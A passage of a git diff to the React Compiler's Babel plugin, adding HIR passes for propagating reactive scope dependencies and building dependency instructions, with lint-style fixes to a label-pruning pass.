+      return `MutateGlobal ${printPlaceForAliasEffect(effect.place)} reason=${JSON.stringify(effect.error.reason)}`;
+    }
+    case 'Impure': {
+      return `Impure ${printPlaceForAliasEffect(effect.place)} reason=${JSON.stringify(effect.error.reason)}`;
+    }
+    case 'Render': {
+      return `Render ${printPlaceForAliasEffect(effect.place)}`;
+    }
+    default: {
+      assertExhaustive(effect, `Unexpected kind '${(effect as any).kind}'`);
+    }
+  }
+}
+
+function printPlaceForAliasEffect(place: Place): string {
+  return printIdentifier(place.identifier);
+}
+
+export function printAliasingSignature(signature: AliasingSignature): string {
+  const tokens: Array<string> = ['function '];
+  if (signature.temporaries.length !== 0) {
+    tokens.push('<');
+    tokens.push(
+      signature.temporaries.map(temp => `$${temp.identifier.id}`).join(', '),
+    );
+    tokens.push('>');
+  }
+  tokens.push('(');
+  tokens.push('this=$' + String(signature.receiver));
+  for (const param of signature.params) {
+    tokens.push(', $' + String(param));
+  }
+  if (signature.rest != null) {
+    tokens.push(`, ...$${String(signature.rest)}`);
+  }
+  tokens.push('): ');
+  tokens.push('$' + String(signature.returns) + ':');
+  for (const effect of signature.effects) {
+    tokens.push('\n  ' + printAliasingEffect(effect));
+  }
+  return tokens.join('');
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/HIR/PropagateScopeDependenciesHIR.ts b/compiler/packages/babel-plugin-react-compiler/src/HIR/PropagateScopeDependenciesHIR.ts
new file mode 100644
index 000000000000..19b4fae30fda
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/HIR/PropagateScopeDependenciesHIR.ts
@@ -0,0 +1,848 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import {
+  ScopeId,
+  HIRFunction,
+  Place,
+  Instruction,
+  ReactiveScopeDependency,
+  Identifier,
+  ReactiveScope,
+  isObjectMethodType,
+  isRefValueType,
+  isUseRefType,
+  makeInstructionId,
+  InstructionId,
+  InstructionKind,
+  GeneratedSource,
+  DeclarationId,
+  areEqualPaths,
+  IdentifierId,
+  Terminal,
+  InstructionValue,
+  LoadContext,
+  TInstruction,
+  FunctionExpression,
+  ObjectMethod,
+  PropertyLiteral,
+  convertHoistedLValueKind,
+  SourceLocation,
+} from './HIR';
+import {
+  collectHoistablePropertyLoads,
+  keyByScopeId,
+} from './CollectHoistablePropertyLoads';
+import {
+  ScopeBlockTraversal,
+  eachInstructionOperand,
+  eachInstructionValueOperand,
+  eachPatternOperand,
+  eachTerminalOperand,
+} from './visitors';
+import {Stack, empty} from '../Utils/Stack';
+import {CompilerError} from '../CompilerError';
+import {Iterable_some} from '../Utils/utils';
+import {ReactiveScopeDependencyTreeHIR} from './DeriveMinimalDependenciesHIR';
+import {collectOptionalChainSidemap} from './CollectOptionalChainDependencies';
+
+export function propagateScopeDependenciesHIR(fn: HIRFunction): void {
+  const usedOutsideDeclaringScope =
+    findTemporariesUsedOutsideDeclaringScope(fn);
+  const temporaries = collectTemporariesSidemap(fn, usedOutsideDeclaringScope);
+  const {
+    temporariesReadInOptional,
+    processedInstrsInOptional,
+    hoistableObjects,
+  } = collectOptionalChainSidemap(fn);
+
+  const hoistablePropertyLoads = keyByScopeId(
+    fn,
+    collectHoistablePropertyLoads(fn, temporaries, hoistableObjects),
+  );
+
+  const scopeDeps = collectDependencies(
+    fn,
+    usedOutsideDeclaringScope,
+    new Map([...temporaries, ...temporariesReadInOptional]),
+    processedInstrsInOptional,
+  );
+
+  /**
+   * Derive the minimal set of hoistable dependencies for each scope.
+   */
+  for (const [scope, deps] of scopeDeps) {
+    if (deps.length === 0) {
+      continue;
+    }
+
+    /**
+     * Step 1: Find hoistable accesses, given the basic block in which the scope
+     * begins.
+     */
+    const hoistables = hoistablePropertyLoads.get(scope.id);
+    CompilerError.invariant(hoistables != null, {
+      reason: '[PropagateScopeDependencies] Scope not found in tracked blocks',
+      loc: GeneratedSource,
+    });
+    /**
+     * Step 2: Calculate hoistable dependencies.
+     */
+    const tree = new ReactiveScopeDependencyTreeHIR(
+      [...hoistables.assumedNonNullObjects].map(o => o.fullPath),
+    );
+    for (const dep of deps) {
+      tree.addDependency({...dep});
+    }
+
+    /**
+     * Step 3: Reduce dependencies to a minimal set.
+     */
+    const candidates = tree.deriveMinimalDependencies();
+    for (const candidateDep of candidates) {
+      if (
+        !Iterable_some(
+          scope.dependencies,
+          existingDep =>
+            existingDep.identifier.declarationId ===
+              candidateDep.identifier.declarationId &&
+            areEqualPaths(existingDep.path, candidateDep.path),
+        )
+      )
+        scope.dependencies.add(candidateDep);
+    }
+  }
+}
+
+export function findTemporariesUsedOutsideDeclaringScope(
+  fn: HIRFunction,
+): ReadonlySet<DeclarationId> {
+  /*
+   * tracks all relevant LoadLocal and PropertyLoad lvalues
+   * and the scope where they are defined
+   */
+  const declarations = new Map<DeclarationId, ScopeId>();
+  const prunedScopes = new Set<ScopeId>();
+  const scopeTraversal = new ScopeBlockTraversal();
+  const usedOutsideDeclaringScope = new Set<DeclarationId>();
+
+  function handlePlace(place: Place): void {
+    const declaringScope = declarations.get(place.identifier.declarationId);
+    if (
+      declaringScope != null &&
+      !scopeTraversal.isScopeActive(declaringScope) &&
+      !prunedScopes.has(declaringScope)
+    ) {
+      // Declaring scope is not active === used outside declaring scope
+      usedOutsideDeclaringScope.add(place.identifier.declarationId);
+    }
+  }
+
+  function handleInstruction(instr: Instruction): void {
+    const scope = scopeTraversal.currentScope;
+    if (scope == null || prunedScopes.has(scope)) {
+      return;
+    }
+    switch (instr.value.kind) {
+      case 'LoadLocal':
+      case 'LoadContext':
+      case 'PropertyLoad': {
+        declarations.set(instr.lvalue.identifier.declarationId, scope);
+        break;
+      }
+      default: {
+        break;
+      }
+    }
+  }
+
+  for (const [blockId, block] of fn.body.blocks) {
+    scopeTraversal.recordScopes(block);
+    const scopeStartInfo = scopeTraversal.blockInfos.get(blockId);
+    if (scopeStartInfo?.kind === 'begin' && scopeStartInfo.pruned) {
+      prunedScopes.add(scopeStartInfo.scope.id);
+    }
+    for (const instr of block.instructions) {
+      for (const place of eachInstructionOperand(instr)) {
+        handlePlace(place);
+      }
+      handleInstruction(instr);
+    }
+
+    for (const place of eachTerminalOperand(block.terminal)) {
+      handlePlace(place);
+    }
+  }
+  return usedOutsideDeclaringScope;
+}
+
+/**
+ * @returns mapping of LoadLocal and PropertyLoad to the source of the load.
+ * ```js
+ * // source
+ * foo(a.b);
+ *
+ * // HIR: a potential sidemap is {0: a, 1: a.b, 2: foo}
+ * $0 = LoadLocal 'a'
+ * $1 = PropertyLoad $0, 'b'
+ * $2 = LoadLocal 'foo'
+ * $3 = CallExpression $2($1)
+ * ```
+ * @param usedOutsideDeclaringScope is used to check the correctness of
+ * reordering LoadLocal / PropertyLoad calls. We only track a LoadLocal /
+ * PropertyLoad in the returned temporaries map if reordering the read (from the
+ * time-of-load to time-of-use) is valid.
+ *
+ * If a LoadLocal or PropertyLoad instruction is within the reactive scope range
+ * (a proxy for mutable range) of the load source, later instructions may
+ * reassign / mutate the source value. Since it's incorrect to reorder these
+ * load instructions to after their scope ranges, we also do not store them in
+ * identifier sidemaps.
+ *
+ * Take this example (from fixture
+ * `evaluation-order-mutate-call-after-dependency-load`)
+ * ```js
+ * // source
+ * function useFoo(arg) {
+ *   const arr = [1, 2, 3, ...arg];
+ *   return [
+ *     arr.length,
+ *     arr.push(0)
+ *   ];
+ * }
+ *
+ * // IR pseudocode
+ * scope @0 {
+ *   $0 = arr = ArrayExpression [1, 2, 3, ...arg]
+ *   $1 = arr.length
+ *   $2 = arr.push(0)
+ * }
+ * scope @1 {
+ *   $3 = ArrayExpression [$1, $2]
+ * }
+ * ```
+ * Here, it's invalid for scope@1 to take `arr.length` as a dependency instead
+ * of $1, as the evaluation of `arr.length` changes between instructions $1 and
+ * $3. We do not track $1 -> arr.length in this case.
+ */
+export function collectTemporariesSidemap(
+  fn: HIRFunction,
+  usedOutsideDeclaringScope: ReadonlySet<DeclarationId>,
+): ReadonlyMap<IdentifierId, ReactiveScopeDependency> {
+  const temporaries = new Map();
+  collectTemporariesSidemapImpl(
+    fn,
+    usedOutsideDeclaringScope,
+    temporaries,
+    null,
+  );
+  return temporaries;
+}
+
+function isLoadContextMutable(
+  instrValue: InstructionValue,
+  id: InstructionId,
+): instrValue is LoadContext {
+  if (instrValue.kind === 'LoadContext') {
+    /**
+     * Not all context variables currently have scopes due to limitations of
+     * mutability analysis for function expressions.
+     *
+     * Currently, many function expressions references are inferred to be
+     * 'Read' | 'Freeze' effects which don't replay mutable effects of captured
+     * context.
+     */
+    return (
+      instrValue.place.identifier.scope != null &&
+      id >= instrValue.place.identifier.scope.range.end
+    );
+  }
+  return false;
+}
+/**
+ * Recursive collect a sidemap of all `LoadLocal` and `PropertyLoads` with a
+ * function and all nested functions.
+ *
+ * Note that IdentifierIds are currently unique, so we can use a single
+ * Map<IdentifierId, ...> across all nested functions.
+ */
+function collectTemporariesSidemapImpl(
+  fn: HIRFunction,
+  usedOutsideDeclaringScope: ReadonlySet<DeclarationId>,
+  temporaries: Map<IdentifierId, ReactiveScopeDependency>,
+  innerFnContext: {instrId: InstructionId} | null,
+): void {
+  for (const [_, block] of fn.body.blocks) {
+    for (const {value, lvalue, id: origInstrId} of block.instructions) {
+      const instrId =
+        innerFnContext != null ? innerFnContext.instrId : origInstrId;
+      const usedOutside = usedOutsideDeclaringScope.has(
+        lvalue.identifier.declarationId,
+      );
+
+      if (value.kind === 'PropertyLoad' && !usedOutside) {
+        if (
+          innerFnContext == null ||
+          temporaries.has(value.object.identifier.id)
+        ) {
+          /**
+           * All dependencies of a inner / nested function must have a base
+           * identifier from the outermost component / hook. This is because the
+           * compiler cannot break an inner function into multiple granular
+           * scopes.
+           */
+          const property = getProperty(
+            value.object,
+            value.property,
+            false,
+            value.loc,
+            temporaries,
+          );
+          temporaries.set(lvalue.identifier.id, property);
+        }
+      } else if (
+        (value.kind === 'LoadLocal' || isLoadContextMutable(value, instrId)) &&
+        lvalue.identifier.name == null &&
+        value.place.identifier.name !== null &&
+        !usedOutside
+      ) {
+        if (
+          innerFnContext == null ||
+          fn.context.some(
+            context => context.identifier.id === value.place.identifier.id,
+          )
+        ) {
+          temporaries.set(lvalue.identifier.id, {
+            identifier: value.place.identifier,
+            reactive: value.place.reactive,
+            path: [],
+            loc: value.loc,
+          });
+        }
+      } else if (
+        value.kind === 'FunctionExpression' ||
+        value.kind === 'ObjectMethod'
+      ) {
+        collectTemporariesSidemapImpl(
+          value.loweredFunc.func,
+          usedOutsideDeclaringScope,
+          temporaries,
+          innerFnContext ?? {instrId},
+        );
+      }
+    }
+  }
+}
+
+function getProperty(
+  object: Place,
+  propertyName: PropertyLiteral,
+  optional: boolean,
+  loc: SourceLocation,
+  temporaries: ReadonlyMap<IdentifierId, ReactiveScopeDependency>,
+): ReactiveScopeDependency {
+  /*
+   * (1) Get the base object either from the temporary sidemap (e.g. a LoadLocal)
+   * or a deep copy of an existing property dependency.
+   *  Example 1:
+   *    $0 = LoadLocal x
+   *    $1 = PropertyLoad $0.y
+   *  getProperty($0, ...) -> resolvedObject = x, resolvedDependency = null
+   *
+   *  Example 2:
+   *    $0 = LoadLocal x
+   *    $1 = PropertyLoad $0.y
+   *    $2 = PropertyLoad $1.z
+   *  getProperty($1, ...) -> resolvedObject = null, resolvedDependency = x.y
+   *
+   *  Example 3:
+   *    $0 = Call(...)
+   *    $1 = PropertyLoad $0.y
+   *  getProperty($0, ...) -> resolvedObject = null, resolvedDependency = null
+   */
+  const resolvedDependency = temporaries.get(object.identifier.id);
+
+  /**
+   * (2) Push the last PropertyLoad
+   * TODO(mofeiZ): understand optional chaining
+   */
+  let property: ReactiveScopeDependency;
+  if (resolvedDependency == null) {
+    property = {
+      identifier: object.identifier,
+      reactive: object.reactive,
+      path: [{property: propertyName, optional, loc}],
+      loc,
+    };
+  } else {
+    property = {
+      identifier: resolvedDependency.identifier,
+      reactive: resolvedDependency.reactive,
+      path: [
+        ...resolvedDependency.path,
+        {property: propertyName, optional, loc},
+      ],
+      loc,
+    };
+  }
+  return property;
+}
+
+type Decl = {
+  id: InstructionId;
+  scope: Stack<ReactiveScope>;
+};
+
+export class DependencyCollectionContext {
+  #declarations: Map<DeclarationId, Decl> = new Map();
+  #reassignments: Map<Identifier, Decl> = new Map();
+
+  #scopes: Stack<ReactiveScope> = empty();
+  // Reactive dependencies used in the current reactive scope.
+  #dependencies: Stack<Array<ReactiveScopeDependency>> = empty();
+  deps: Map<ReactiveScope, Array<ReactiveScopeDependency>> = new Map();
+
+  #temporaries: ReadonlyMap<IdentifierId, ReactiveScopeDependency>;
+  #temporariesUsedOutsideScope: ReadonlySet<DeclarationId>;
+  #processedInstrsInOptional: ReadonlySet<Instruction | Terminal>;
+
+  /**
+   * Tracks the traversal state. See Context.declare for explanation of why this
+   * is needed.
+   */
+  #innerFnContext: {outerInstrId: InstructionId} | null = null;
+
+  constructor(
+    temporariesUsedOutsideScope: ReadonlySet<DeclarationId>,
+    temporaries: ReadonlyMap<IdentifierId, ReactiveScopeDependency>,
+    processedInstrsInOptional: ReadonlySet<Instruction | Terminal>,
+  ) {
+    this.#temporariesUsedOutsideScope = temporariesUsedOutsideScope;
+    this.#temporaries = temporaries;
+    this.#processedInstrsInOptional = processedInstrsInOptional;
+  }
+
+  enterScope(scope: ReactiveScope): void {
+    // Set context for new scope
+    this.#dependencies = this.#dependencies.push([]);
+    this.#scopes = this.#scopes.push(scope);
+  }
+
+  exitScope(scope: ReactiveScope, pruned: boolean): void {
+    // Save dependencies we collected from the exiting scope
+    const scopedDependencies = this.#dependencies.value;
+    CompilerError.invariant(scopedDependencies != null, {
+      reason: '[PropagateScopeDeps]: Unexpected scope mismatch',
+      loc: scope.loc,
+    });
+
+    // Restore context of previous scope
+    this.#scopes = this.#scopes.pop();
+    this.#dependencies = this.#dependencies.pop();
+
+    /*
+     * Collect dependencies we recorded for the exiting scope and propagate
+     * them upward using the same rules as normal dependency collection.
+     * Child scopes may have dependencies on values created within the outer
+     * scope, which necessarily cannot be dependencies of the outer scope.
+     */
+    for (const dep of scopedDependencies) {
+      if (this.#checkValidDependency(dep)) {
+        this.#dependencies.value?.push(dep);
+      }
+    }
+
+    if (!pruned) {
+      this.deps.set(scope, scopedDependencies);
+    }
+  }
+
+  isUsedOutsideDeclaringScope(place: Place): boolean {
+    return this.#temporariesUsedOutsideScope.has(
+      place.identifier.declarationId,
+    );
+  }
+
+  /*
+   * Records where a value was declared, and optionally, the scope where the
+   * value originated from. This is later used to determine if a dependency
+   * should be added to a scope; if the current scope we are visiting is the
+   * same scope where the value originates, it can't be a dependency on itself.
+   *
+   * Note that we do not track declarations or reassignments within inner
+   * functions for the following reasons:
+   *   - inner functions cannot be split by scope boundaries and are guaranteed
+   *     to consume their own declarations
+   *   - reassignments within inner functions are tracked as context variables,
+   *     which already have extended mutable ranges to account for reassignments
+   *   - *most importantly* it's currently simply incorrect to compare inner
+   *     function instruction ids (tracked by `decl`) with outer ones (as stored
+   *     by root identifier mutable ranges).
+   */
+  declare(identifier: Identifier, decl: Decl): void {
+    if (this.#innerFnContext != null) return;
+    if (!this.#declarations.has(identifier.declarationId)) {
+      this.#declarations.set(identifier.declarationId, decl);
+    }
+    this.#reassignments.set(identifier, decl);
+  }
+  hasDeclared(identifier: Identifier): boolean {
+    return this.#declarations.has(identifier.declarationId);
+  }
+
+  // Checks if identifier is a valid dependency in the current scope
+  #checkValidDependency(maybeDependency: ReactiveScopeDependency): boolean {
+    // ref value is not a valid dep
+    if (isRefValueType(maybeDependency.identifier)) {
+      return false;
+    }
+
+    /*
+     * object methods are not deps because they will be codegen'ed back in to
+     * the object literal.
+     */
+    if (isObjectMethodType(maybeDependency.identifier)) {
+      return false;
+    }
+
+    const identifier = maybeDependency.identifier;
+    /*
+     * If this operand is used in a scope, has a dynamic value, and was defined
+     * before this scope, then its a dependency of the scope.
+     */
+    const currentDeclaration =
+      this.#reassignments.get(identifier) ??
+      this.#declarations.get(identifier.declarationId);
+    const currentScope = this.currentScope.value;
+    return (
+      currentScope != null &&
+      currentDeclaration !== undefined &&
+      currentDeclaration.id < currentScope.range.start
+    );
+  }
+
+  #isScopeActive(scope: ReactiveScope): boolean {
+    if (this.#scopes === null) {
+      return false;
+    }
+    return this.#scopes.find(state => state === scope);
+  }
+
+  get currentScope(): Stack<ReactiveScope> {
+    return this.#scopes;
+  }
+
+  visitOperand(place: Place): void {
+    /*
+     * if this operand is a temporary created for a property load, try to resolve it to
+     * the expanded Place. Fall back to using the operand as-is.
+     */
+    this.visitDependency(
+      this.#temporaries.get(place.identifier.id) ?? {
+        identifier: place.identifier,
+        reactive: place.reactive,
+        path: [],
+        loc: place.loc,
+      },
+    );
+  }
+
+  visitProperty(
+    object: Place,
+    property: PropertyLiteral,
+    optional: boolean,
+    loc: SourceLocation,
+  ): void {
+    const nextDependency = getProperty(
+      object,
+      property,
+      optional,
+      loc,
+      this.#temporaries,
+    );
+    this.visitDependency(nextDependency);
+  }
+
+  visitDependency(maybeDependency: ReactiveScopeDependency): void {
+    /*
+     * Any value used after its originally defining scope has concluded must be added as an
+     * output of its defining scope. Regardless of whether its a const or not,
+     * some later code needs access to the value. If the current
+     * scope we are visiting is the same scope where the value originates, it can't be a dependency
+     * on itself.
+     */
+
+    /*
+     * if originalDeclaration is undefined here, then this is not a local var
+     * (all decls e.g. `let x;` should be initialized in BuildHIR)
+     */
+    const originalDeclaration = this.#declarations.get(
+      maybeDependency.identifier.declarationId,
+    );
+    if (
+      originalDeclaration !== undefined &&
+      originalDeclaration.scope.value !== null
+    ) {
+      originalDeclaration.scope.each(scope => {
+        if (
+          !this.#isScopeActive(scope) &&
+          !Iterable_some(
+            scope.declarations.values(),
+            decl =>
+              decl.identifier.declarationId ===
+              maybeDependency.identifier.declarationId,
+          )
+        ) {
+          scope.declarations.set(maybeDependency.identifier.id, {
+            identifier: maybeDependency.identifier,
+            scope: originalDeclaration.scope.value!,
+          });
+        }
+      });
+    }
+
+    // ref.current access is not a valid dep
+    if (
+      isUseRefType(maybeDependency.identifier) &&
+      maybeDependency.path.at(0)?.property === 'current'
+    ) {
+      maybeDependency = {
+        identifier: maybeDependency.identifier,
+        reactive: maybeDependency.reactive,
+        path: [],
+        loc: maybeDependency.loc,
+      };
+    }
+    if (this.#checkValidDependency(maybeDependency)) {
+      this.#dependencies.value!.push(maybeDependency);
+    }
+  }
+
+  /*
+   * Record a variable that is declared in some other scope and that is being reassigned in the
+   * current one as a {@link ReactiveScope.reassignments}
+   */
+  visitReassignment(place: Place): void {
+    const currentScope = this.currentScope.value;
+    if (
+      currentScope != null &&
+      !Iterable_some(
+        currentScope.reassignments,
+        identifier =>
+          identifier.declarationId === place.identifier.declarationId,
+      ) &&
+      this.#checkValidDependency({
+        identifier: place.identifier,
+        reactive: place.reactive,
+        path: [],
+        loc: place.loc,
+      })
+    ) {
+      currentScope.reassignments.add(place.identifier);
+    }
+  }
+  enterInnerFn<T>(
+    innerFn: TInstruction<FunctionExpression> | TInstruction<ObjectMethod>,
+    cb: () => T,
+  ): T {
+    const prevContext = this.#innerFnContext;
+    this.#innerFnContext = this.#innerFnContext ?? {outerInstrId: innerFn.id};
+    const result = cb();
+    this.#innerFnContext = prevContext;
+    return result;
+  }
+
+  /**
+   * Skip dependencies that are subexpressions of other dependencies. e.g. if a
+   * dependency is tracked in the temporaries sidemap, it can be added at
+   * site-of-use
+   */
+  isDeferredDependency(
+    instr:
+      | {kind: HIRValue.Instruction; value: Instruction}
+      | {kind: HIRValue.Terminal; value: Terminal},
+  ): boolean {
+    return (
+      this.#processedInstrsInOptional.has(instr.value) ||
+      (instr.kind === HIRValue.Instruction &&
+        this.#temporaries.has(instr.value.lvalue.identifier.id))
+    );
+  }
+}
+enum HIRValue {
+  Instruction = 1,
+  Terminal,
+}
+
+export function handleInstruction(
+  instr: Instruction,
+  context: DependencyCollectionContext,
+): void {
+  const {id, value, lvalue} = instr;
+  context.declare(lvalue.identifier, {
+    id,
+    scope: context.currentScope,
+  });
+  if (
+    context.isDeferredDependency({kind: HIRValue.Instruction, value: instr})
+  ) {
+    return;
+  }
+  if (value.kind === 'PropertyLoad') {
+    context.visitProperty(value.object, value.property, false, value.loc);
+  } else if (value.kind === 'StoreLocal') {
+    context.visitOperand(value.value);
+    if (value.lvalue.kind === InstructionKind.Reassign) {
+      context.visitReassignment(value.lvalue.place);
+    }
+    context.declare(value.lvalue.place.identifier, {
+      id,
+      scope: context.currentScope,
+    });
+  } else if (value.kind === 'DeclareLocal' || value.kind === 'DeclareContext') {
+    /*
+     * Some variables may be declared and never initialized. We need to retain
+     * (and hoist) these declarations if they are included in a reactive scope.
+     * One approach is to simply add all `DeclareLocal`s as scope declarations.
+     *
+     * Context variables with hoisted declarations only become live after their
+     * first assignment. We only declare real DeclareLocal / DeclareContext
+     * instructions (not hoisted ones) to avoid generating dependencies on
+     * hoisted declarations.
+     */
+    if (convertHoistedLValueKind(value.lvalue.kind) === null) {
+      context.declare(value.lvalue.place.identifier, {
+        id,
+        scope: context.currentScope,
+      });
+    }
+  } else if (value.kind === 'Destructure') {
+    context.visitOperand(value.value);
+    for (const place of eachPatternOperand(value.lvalue.pattern)) {
+      if (value.lvalue.kind === InstructionKind.Reassign) {
+        context.visitReassignment(place);
+      }
+      context.declare(place.identifier, {
+        id,
+        scope: context.currentScope,
+      });
+    }
+  } else if (value.kind === 'StoreContext') {
+    /**
+     * Some StoreContext variables have hoisted declarations. If we're storing
+     * to a context variable that hasn't yet been declared, the StoreContext is
+     * the declaration.
+     * (see corresponding logic in PruneHoistedContext)
+     */
+    if (
+      !context.hasDeclared(value.lvalue.place.identifier) ||
+      value.lvalue.kind !== InstructionKind.Reassign
+    ) {
+      context.declare(value.lvalue.place.identifier, {
+        id,
+        scope: context.currentScope,
+      });
+    }
+
+    for (const operand of eachInstructionValueOperand(value)) {
+      context.visitOperand(operand);
+    }
+  } else {
+    for (const operand of eachInstructionValueOperand(value)) {
+      context.visitOperand(operand);
+    }
+  }
+}
+
+function collectDependencies(
+  fn: HIRFunction,
+  usedOutsideDeclaringScope: ReadonlySet<DeclarationId>,
+  temporaries: ReadonlyMap<IdentifierId, ReactiveScopeDependency>,
+  processedInstrsInOptional: ReadonlySet<Instruction | Terminal>,
+): Map<ReactiveScope, Array<ReactiveScopeDependency>> {
+  const context = new DependencyCollectionContext(
+    usedOutsideDeclaringScope,
+    temporaries,
+    processedInstrsInOptional,
+  );
+
+  for (const param of fn.params) {
+    if (param.kind === 'Identifier') {
+      context.declare(param.identifier, {
+        id: makeInstructionId(0),
+        scope: empty(),
+      });
+    } else {
+      context.declare(param.place.identifier, {
+        id: makeInstructionId(0),
+        scope: empty(),
+      });
+    }
+  }
+
+  const scopeTraversal = new ScopeBlockTraversal();
+
+  const handleFunction = (fn: HIRFunction): void => {
+    for (const [blockId, block] of fn.body.blocks) {
+      scopeTraversal.recordScopes(block);
+      const scopeBlockInfo = scopeTraversal.blockInfos.get(blockId);
+      if (scopeBlockInfo?.kind === 'begin') {
+        context.enterScope(scopeBlockInfo.scope);
+      } else if (scopeBlockInfo?.kind === 'end') {
+        context.exitScope(scopeBlockInfo.scope, scopeBlockInfo.pruned);
+      }
+      // Record referenced optional chains in phis
+      for (const phi of block.phis) {
+        for (const operand of phi.operands) {
+          const maybeOptionalChain = temporaries.get(operand[1].identifier.id);
+          if (maybeOptionalChain) {
+            context.visitDependency(maybeOptionalChain);
+          }
+        }
+      }
+      for (const instr of block.instructions) {
+        if (
+          instr.value.kind === 'FunctionExpression' ||
+          instr.value.kind === 'ObjectMethod'
+        ) {
+          context.declare(instr.lvalue.identifier, {
+            id: instr.id,
+            scope: context.currentScope,
+          });
+          /**
+           * Recursively visit the inner function to extract dependencies there
+           */
+          const innerFn = instr.value.loweredFunc.func;
+          context.enterInnerFn(
+            instr as
+              | TInstruction<FunctionExpression>
+              | TInstruction<ObjectMethod>,
+            () => {
+              handleFunction(innerFn);
+            },
+          );
+        } else {
+          handleInstruction(instr, context);
+        }
+      }
+
+      if (
+        !context.isDeferredDependency({
+          kind: HIRValue.Terminal,
+          value: block.terminal,
+        })
+      ) {
+        for (const place of eachTerminalOperand(block.terminal)) {
+          context.visitOperand(place);
+        }
+      }
+    }
+  };
+
+  handleFunction(fn);
+  return context.deps;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/HIR/PruneUnusedLabelsHIR.ts b/compiler/packages/babel-plugin-react-compiler/src/HIR/PruneUnusedLabelsHIR.ts
index 10714d5d8797..f0c488c3e1ec 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/HIR/PruneUnusedLabelsHIR.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/HIR/PruneUnusedLabelsHIR.ts
@@ -1,5 +1,12 @@
-import { CompilerError } from "..";
-import { BlockId, GotoVariant, HIRFunction } from "./HIR";
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import {CompilerError} from '..';
+import {BlockId, GotoVariant, HIRFunction} from './HIR';
 
 export function pruneUnusedLabelsHIR(fn: HIRFunction): void {
   const merged: Array<{
@@ -10,16 +17,16 @@ export function pruneUnusedLabelsHIR(fn: HIRFunction): void {
   const rewrites: Map<BlockId, BlockId> = new Map();
   for (const [blockId, block] of fn.body.blocks) {
     const terminal = block.terminal;
-    if (terminal.kind === "label") {
-      const { block: nextId, fallthrough: fallthroughId } = terminal;
+    if (terminal.kind === 'label') {
+      const {block: nextId, fallthrough: fallthroughId} = terminal;
       const next = fn.body.blocks.get(nextId)!;
       const fallthrough = fn.body.blocks.get(fallthroughId)!;
       if (
-        next.terminal.kind === "goto" &&
+        next.terminal.kind === 'goto' &&
         next.terminal.variant === GotoVariant.Break &&
         next.terminal.block === fallthroughId
       ) {
-        if (next.kind === "block" && fallthrough.kind === "block") {
+        if (next.kind === 'block' && fallthrough.kind === 'block') {
           // Only merge normal block types
           merged.push({
             label: blockId,
@@ -45,9 +52,9 @@ export function pruneUnusedLabelsHIR(fn: HIRFunction): void {
     CompilerError.invariant(
       next.phis.size === 0 && fallthrough.phis.size === 0,
       {
-        reason: "Unexpected phis when merging label blocks",
+        reason: 'Unexpected phis when merging label blocks',
         loc: label.terminal.loc,
-      }
+      },
     );
 
     CompilerError.invariant(
@@ -56,9 +63,9 @@ export function pruneUnusedLabelsHIR(fn: HIRFunction): void {
         next.preds.has(originalLabelId) &&
         fallthrough.preds.has(nextId),
       {
-        reason: "Unexpected block predecessors when merging label blocks",
+        reason: 'Unexpected block predecessors when merging label blocks',
         loc: label.terminal.loc,
-      }
+      },
     );
 
     label.instructions.push(...next.instructions, ...fallthrough.instructions);
@@ -67,4 +74,14 @@ export function pruneUnusedLabelsHIR(fn: HIRFunction): void {
     fn.body.blocks.delete(fallthroughId);
     rewrites.set(fallthroughId, labelId);
   }
+
+  for (const [_, block] of fn.body.blocks) {
+    for (const pred of block.preds) {
+      const rewritten = rewrites.get(pred);
+      if (rewritten != null) {
+        block.preds.delete(pred);
+        block.preds.add(rewritten);
+      }
+    }
+  }
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/HIR/ScopeDependencyUtils.ts b/compiler/packages/babel-plugin-react-compiler/src/HIR/ScopeDependencyUtils.ts
new file mode 100644
index 000000000000..067e7a716ab0
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/HIR/ScopeDependencyUtils.ts
@@ -0,0 +1,281 @@
+import {
+  Place,
+  ReactiveScopeDependency,
+  Identifier,
+  makeInstructionId,
+  InstructionKind,
+  GeneratedSource,
+  BlockId,
+  makeTemporaryIdentifier,
+  Effect,
+  GotoVariant,
+  HIR,
+} from './HIR';
+import {CompilerError} from '../CompilerError';
+import {Environment} from './Environment';
+import HIRBuilder from './HIRBuilder';
+import {lowerValueToTemporary} from './BuildHIR';
+
+type DependencyInstructions = {
+  place: Place;
+  value: HIR;
+  exitBlockId: BlockId;
+};
+
+export function buildDependencyInstructions(
+  dep: ReactiveScopeDependency,
+  env: Environment,
+): DependencyInstructions {
+  const builder = new HIRBuilder(env, {
+    entryBlockKind: 'value',
+  });
+  let dependencyValue: Identifier;
+  if (dep.path.every(path => !path.optional)) {
+    dependencyValue = writeNonOptionalDependency(dep, env, builder);
+  } else {
+    dependencyValue = writeOptionalDependency(dep, builder, null);
+  }
+
+  const exitBlockId = builder.terminate(
+    {
+      kind: 'unsupported',
+      loc: GeneratedSource,
+      id: makeInstructionId(0),
+    },
+    null,
+  );
+  return {
+    place: {
+      kind: 'Identifier',
+      identifier: dependencyValue,
+      effect: Effect.Freeze,
+      reactive: dep.reactive,
+      loc: GeneratedSource,
+    },
+    value: builder.build(),
+    exitBlockId,
+  };
+}
+
+/**
+ * Write instructions for a simple dependency (without optional chains)
+ */
+function writeNonOptionalDependency(
+  dep: ReactiveScopeDependency,
+  env: Environment,
+  builder: HIRBuilder,
+): Identifier {
+  const loc = dep.identifier.loc;
+  let curr: Identifier = makeTemporaryIdentifier(env.nextIdentifierId, loc);
+  builder.push({
+    lvalue: {
+      identifier: curr,
+      kind: 'Identifier',
+      effect: Effect.Mutate,
+      reactive: dep.reactive,
+      loc,
+    },
+    value: {
+      kind: 'LoadLocal',
+      place: {
+        identifier: dep.identifier,
+        kind: 'Identifier',
+        effect: Effect.Freeze,
+        reactive: dep.reactive,
+        loc,
+      },
+      loc,
+    },
+    id: makeInstructionId(1),
+    loc: loc,
+    effects: null,
+  });
+
+  /**
+   * Iteratively build up dependency instructions by reading from the last written
